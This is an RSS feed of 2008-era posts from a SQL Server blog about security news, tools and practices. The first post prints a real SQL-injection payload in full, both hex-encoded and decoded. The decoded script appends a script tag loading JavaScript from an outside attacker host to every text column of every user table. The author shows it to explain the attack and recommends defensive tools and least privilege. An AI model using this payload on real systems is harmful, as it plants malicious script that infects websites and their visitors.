<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://sqlblog.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Denis Gobo : Security</title><link>http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx</link><description>Tags: Security</description><dc:language>en</dc:language><generator>CommunityServer 2.1 SP2 (Build: 61129.1)</generator><item><title>Microsoft Releases Tools To Address SQL Injection Attacks</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx</link><pubDate>Wed, 25 Jun 2008 12:58:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:7491</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>11</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/7491.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=7491</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=7491</wfw:comment><description>Remember the post by Aaron Bertrand titled &lt;A id=bp___v___ctl00_ctl00_bcr_r___postlist___EntryItems_ctl09_PostTitle href="http://sqlblog.com/blogs/aaron_bertrand/archive/2008/04/26/call-a-spade-a-spade.aspx"&gt;Call a spade a spade! (SQL injection, or IIS vulnerability?)&lt;/A&gt;? Microsoft has released 3 tools that deal with this SQL injection. 
&lt;P&gt;These three tools include &lt;A class=external-link href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx"&gt;&lt;FONT color=#0048c0&gt;HP Scrawlr &lt;/FONT&gt;&lt;/A&gt;, &lt;A class=external-link href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;&lt;FONT color=#0048c0&gt;UrlScan version 3.0 Beta &lt;/FONT&gt;&lt;/A&gt;, and &lt;A class=external-link href="http://support.microsoft.com/kb/954476"&gt;&lt;FONT color=#0048c0&gt;a SQL Source Code Analysis Tool&lt;/FONT&gt;&lt;/A&gt;. Microsoft further recommends following the best practices found within advisory &lt;A class=external-link href="http://www.microsoft.com/technet/security/advisory/954462.mspx"&gt;&lt;FONT color=#0048c0&gt;954462&lt;/FONT&gt;&lt;/A&gt;. &lt;/P&gt;
&lt;P&gt;Most of the sites affected had this submitted as part of the injection&amp;nbsp;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4&lt;/SPAN&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;&amp;nbsp;C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S); &lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;This is of course done so that you can't see the real SQL and then you can't check for&amp;nbsp;DROP, UPDATE and other DDL and DML commands&amp;nbsp;&lt;/P&gt;
&lt;P&gt;So what does this look like when you replace %20 with a space and exec with print?&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#0000ff&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;DECLARE&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;CURSOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; sysobjects a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;syscolumns b &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHERE&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'u'&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;99 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;35 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;231 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;167&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;OPEN&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHILE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;@@FETCH_STATUS&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;BEGIN&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;EXEC&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'UPDATE ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'] SET ['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']=RTRIM(CONVERT(VARCHAR(4000),['&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT size=2&gt;@C&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;+&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;']))+''&amp;lt;script src=http://www.chkbnr.com/b.js&amp;gt;&amp;lt;/script&amp;gt;'''&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT size=2&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;END&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;CLOSE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;DEALLOCATE&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Somehow I think this could have been written set based&amp;nbsp; :-)&lt;/P&gt;
&lt;P&gt;The problem is of course that you should never ever run as dbo or even worse&amp;nbsp;sa.&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7491" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx">SQL Injection</category></item><item><title>Testing for SQL Server Vulnerabilities</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2008/05/02/6596.aspx</link><pubDate>Fri, 02 May 2008 16:27:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:6596</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>2</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/6596.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=6596</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=6596</wfw:comment><description>&lt;P&gt;I found this SQL Server Testing (not unit but vulnerability) page and decided I would post a link to it since it has some useful stuff. The link is below&lt;/P&gt;
&lt;P&gt;&lt;A href="http://www.owasp.org/index.php/Testing_for_SQL_Server"&gt;http://www.owasp.org/index.php/Testing_for_SQL_Server&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Here is what is covered. Enjoy (or live in fear over the weekend)&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;1 Brief Summary &lt;BR&gt;2 Short Description of the Issue &lt;BR&gt;3 Black Box testing and example &lt;BR&gt;3.1 SQL Server Peculiarities &lt;BR&gt;3.2 Example 1: Testing for SQL Injection in a GET request. &lt;BR&gt;3.3 Example 2: Testing for SQL Injection in a GET request (2). &lt;BR&gt;3.4 Example 3: Testing in a POST request &lt;BR&gt;3.5 Example 4: Yet another (useful) GET example &lt;BR&gt;3.6 Example 5: custom xp_cmdshell &lt;BR&gt;3.7 Example 6: Referer / User-Agent &lt;BR&gt;3.8 Example 7: SQL Server as a port scanner &lt;BR&gt;3.9 Example 8: Upload of executables &lt;BR&gt;3.10 Obtain information when it is not displayed (Out of band) &lt;BR&gt;3.11 Blind SQL injection attacks &lt;BR&gt;3.11.1 Trial and error &lt;BR&gt;3.11.2 In case more than one error message is displayed &lt;BR&gt;3.11.3 Timing attacks &lt;BR&gt;3.11.4 Checking for version and vulnerabilities &lt;BR&gt;3.12 Example 9: bruteforce of sysadmin password &lt;BR&gt;4 References&amp;nbsp; &lt;BR&gt;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=6596" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category></item><item><title>Banking Trojan Targets 400 Banks, updates itself multiple times a day</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2008/02/09/5001.aspx</link><pubDate>Sat, 09 Feb 2008 14:43:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:5001</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>0</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/5001.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=5001</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=5001</wfw:comment><description>&lt;P&gt;Not a SQL Server post but I still think that this is important. I was listening to &lt;A class="" href="http://www.twit.tv/sn"&gt;Security Now&lt;/A&gt; yesterday and Steve Gibson talked about this silent banking trojan. This is just scary, read the excerpt of the article first.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Targeting over 400 banks (including my own :( ! ) and having the ability to circumvent two-factor authentication are just two of the features that push Trojan.Silentbanker into the limelight. The scale and sophistication of this emerging banking Trojan is worrying, even for someone who sees banking Trojans on a daily basis.&lt;/P&gt;
&lt;P&gt;This Trojan downloads a configuration file that contains the domain names of over 400 banks. Not only are the usual large American banks targeted but banks in many other countries are also targeted, including France, Spain, Ireland, the UK, Finland, Turkey—the list goes on.&lt;/P&gt;
&lt;P&gt;The ability of this Trojan to perform man-in-the-middle attacks on valid transactions is what is most worrying. The Trojan can intercept transactions that require two-factor authentication. It can then silently change the user-entered destination bank account details to the attacker's account details instead. Of course the Trojan ensures that the user does not notice this change by presenting the user with the details they expect to see, while all the time sending the bank the attacker's details instead. Since the user doesn’t notice anything wrong with the transaction, they will enter the second authentication password, in effect handing over their money to the attackers. The Trojan intercepts all of this traffic before it is encrypted, so even if the transaction takes place over SSL the attack is still valid. Unfortunately, we were unable to reproduce exactly such a transaction in the lab. However, through analysis of the Trojan's code it can be seen that this feature is available to the attackers.&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;It gets much better (or worse depending on your point of view) You can read the whole article &lt;A class="" href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/banking_in_silence.html"&gt;here&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;This thing is really sophisticated. Enjoy your weekend and don't be banking online&amp;nbsp; ;-)&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=5001" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category></item><item><title>Whitepaper on Malware to Attack Databases </title><link>http://sqlblog.com/blogs/denis_gobo/archive/2007/11/23/3492.aspx</link><pubDate>Fri, 23 Nov 2007 14:43:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:3492</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>0</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/3492.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=3492</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=3492</wfw:comment><description>&lt;P&gt;&lt;A class="" href="http://blogs.sqlservercentral.com/blogs/brian_kelley/default.aspx"&gt;Brian Kelly&lt;/A&gt; on his blog mentiones a whitepaper by &lt;A href="http://www.argeniss.com/about.html"&gt;Cesar Cerrudo&lt;/A&gt;: &lt;A href="http://www.argeniss.com/research/Data0.pdf"&gt;&lt;I&gt;Data0: Next generation malware for stealing databases&lt;/I&gt;&lt;/A&gt;. This whitepaper describes how malware could be crafted to steal information out of databases.&lt;/P&gt;
&lt;P&gt;The&amp;nbsp;attack will use the following techniques:&lt;BR&gt;&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Discovery 
&lt;LI&gt;Exploitation 
&lt;LI&gt;Escalate Privileges (if necessary) 
&lt;LI&gt;Cover Tracks&lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;Print it out and read it while you wait in line on Black Friday&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=3492" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Best+Practices/default.aspx">Best Practices</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Malware/default.aspx">Malware</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category></item><item><title>Hacker finds 492,000 unprotected Oracle, SQL Server database servers</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2007/11/15/3358.aspx</link><pubDate>Thu, 15 Nov 2007 16:38:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:3358</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>6</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/3358.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=3358</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=3358</wfw:comment><description>&lt;P&gt;Litchfield, co-founder of &lt;A href="http://www.ngssoftware.com/"&gt;Next Generation Security Software&lt;/A&gt;, ran port scans against 1,160,000 random IP addresses — TCP port 1433 (SQL Server) and 1521 (Oracle) — and found about 368,000 Microsoft SQL Servers directly accessible on the Internet and around 124,000 unprotected Oracle database servers.&lt;/P&gt;
&lt;P&gt;Of the SQL Servers found, more than 80% were running SQL Server 2000 and of those, only 46% were running Service Pack 4, the most recent, and the remainder were running Service Pack 3a or less&lt;/P&gt;
&lt;P&gt;Wow, that is just terrible, people are asking to be punished.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Read the complete article here: &lt;A href="http://blogs.zdnet.com/security/?p=663&amp;amp;tag=nl.e539"&gt;http://blogs.zdnet.com/security/?p=663&amp;amp;tag=nl.e539&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=3358" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category></item><item><title>How Is Your Sensitive Data Encrypted In The Database?</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2007/11/13/3310.aspx</link><pubDate>Tue, 13 Nov 2007 15:28:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:3310</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>4</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/3310.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=3310</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=3310</wfw:comment><description>&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Do you store encrypted data? If you do then how is it encrypted? Do you use the built in capabilities of SQL Server 2005/2008. If you answered yes to the last question then here is another question. What would happen if someone stole the hard drive or even the whole database server? Could they decrypt that data easily with the stored procedures which you have written? Do these store procedures use the DecryptByPassphrase function?&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;So you probably think that I am crazy and no one would ever steal a database server. Wrong! C I Host a Chicago-based co-location got robbed 4 times since 2005. One company lost 20 servers in the latest heist. You can read more details about that here: &lt;/FONT&gt;&lt;A href="http://www.theregister.co.uk/2007/11/02/chicaco_datacenter_breaches/"&gt;&lt;FONT face="Times New Roman" color=#800080 size=3&gt;http://www.theregister.co.uk/2007/11/02/chicaco_datacenter_breaches/&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Without going into too much detail, this is what we are doing. Our data is encrypted by a corporate crypto tool which can only be accessed from within the DMZ. Keys are created for specific machines; these keys can easily be revoked at any time. Even if you would somehow steal our web and database server you would still be out of luck because of that. The data is encrypted by the tool and stored encrypted in the DB.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;&lt;STRONG&gt;Identity theft will cost you in the future.&lt;/STRONG&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman"&gt;&lt;FONT size=3&gt;The Identity Theft Enforcement and Restitution Act of 2007 has been introduced and was scheduled for debate on November 1&lt;SUP&gt;st&lt;/SUP&gt;; the Senate and the House still have to vote on it. This is a&lt;/FONT&gt;&lt;SPAN style="FONT-SIZE:11.5pt;"&gt; bill to amend title 18, United States Code, to enable increased federal prosecution of identity theft crimes and to allow for &lt;B style="mso-bidi-font-weight:normal;"&gt;restitution&lt;/B&gt; to victims of identity theft.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Follow the developments here:&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;A href="http://www.govtrack.us/congress/bill.xpd?bill=s110-2168"&gt;&lt;FONT face="Times New Roman" color=#800080 size=3&gt;S. 2168: Identity Theft Enforcement and Restitution Act of 2007&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face="Times New Roman" size=3&gt; &lt;/FONT&gt;&lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=3310" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Encryption/default.aspx">Encryption</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category></item><item><title>SQL Injection Cheat Sheet</title><link>http://sqlblog.com/blogs/denis_gobo/archive/2007/09/19/2600.aspx</link><pubDate>Wed, 19 Sep 2007 14:33:00 GMT</pubDate><guid isPermaLink="false">21093a07-8b3d-42db-8cbf-3350fcbf5496:2600</guid><dc:creator>Denis Gobo</dc:creator><slash:comments>2</slash:comments><comments>http://sqlblog.com/blogs/denis_gobo/comments/2600.aspx</comments><wfw:commentRss>http://sqlblog.com/blogs/denis_gobo/commentrss.aspx?PostID=2600</wfw:commentRss><wfw:comment>http://sqlblog.com/blogs/denis_gobo/rsscomments.aspx?PostID=2600</wfw:comment><description>&lt;P&gt;What is SQL Injection? From &lt;A class="" href="http://en.wikipedia.org/wiki/SQL_injection"&gt;wikipedia&lt;/A&gt;: &lt;STRONG&gt;SQL injection&lt;/STRONG&gt; is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed&lt;/P&gt;
&lt;P&gt;Here is a nice SQL injection cheat sheet. Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;A href="http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/"&gt;http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Table Of Contents&lt;/STRONG&gt; &lt;BR&gt;&amp;nbsp;About SQL Injection Cheat Sheet &lt;BR&gt;&amp;nbsp;Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks &lt;/P&gt;
&lt;P&gt;Line Comments &lt;BR&gt;&amp;nbsp;SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;Inline Comments &lt;BR&gt;&amp;nbsp;Classical Inline Comment SQL Injection Attack Samples &lt;BR&gt;&amp;nbsp;MySQL Version Detection Sample Attacks &lt;/P&gt;
&lt;P&gt;Stacking Queries &lt;BR&gt;&amp;nbsp;Language / Database Stacked Query Support Table &lt;BR&gt;&amp;nbsp;About MySQL and PHP &lt;BR&gt;&amp;nbsp;Stacked SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;If Statements &lt;BR&gt;&amp;nbsp;MySQL If Statement &lt;BR&gt;&amp;nbsp;SQL Server If Statement &lt;BR&gt;&amp;nbsp;If Statement SQL Injection Attack Samples &lt;/P&gt;
&lt;P&gt;Using Integers &lt;/P&gt;
&lt;P&gt;String&amp;nbsp; Operations &lt;BR&gt;&amp;nbsp;String Concatenation &lt;/P&gt;
&lt;P&gt;Strings without Quotes &lt;BR&gt;&amp;nbsp;Hex based SQL Injection Samples &lt;/P&gt;
&lt;P&gt;String Modification &amp;amp; Related &lt;/P&gt;
&lt;P&gt;Union Injections &lt;BR&gt;&amp;nbsp;UNION – Fixing Language Issues &lt;/P&gt;
&lt;P&gt;Bypassing Login Screens &lt;/P&gt;
&lt;P&gt;Enabling xp_cmdshell in SQL Server 2005 &lt;BR&gt;Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see. &lt;/P&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=2600" width="1" height="1"&gt;</description><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Best+Practices/default.aspx">Best Practices</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/Security/default.aspx">Security</category><category domain="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Injection/default.aspx">SQL Injection</category></item></channel></rss>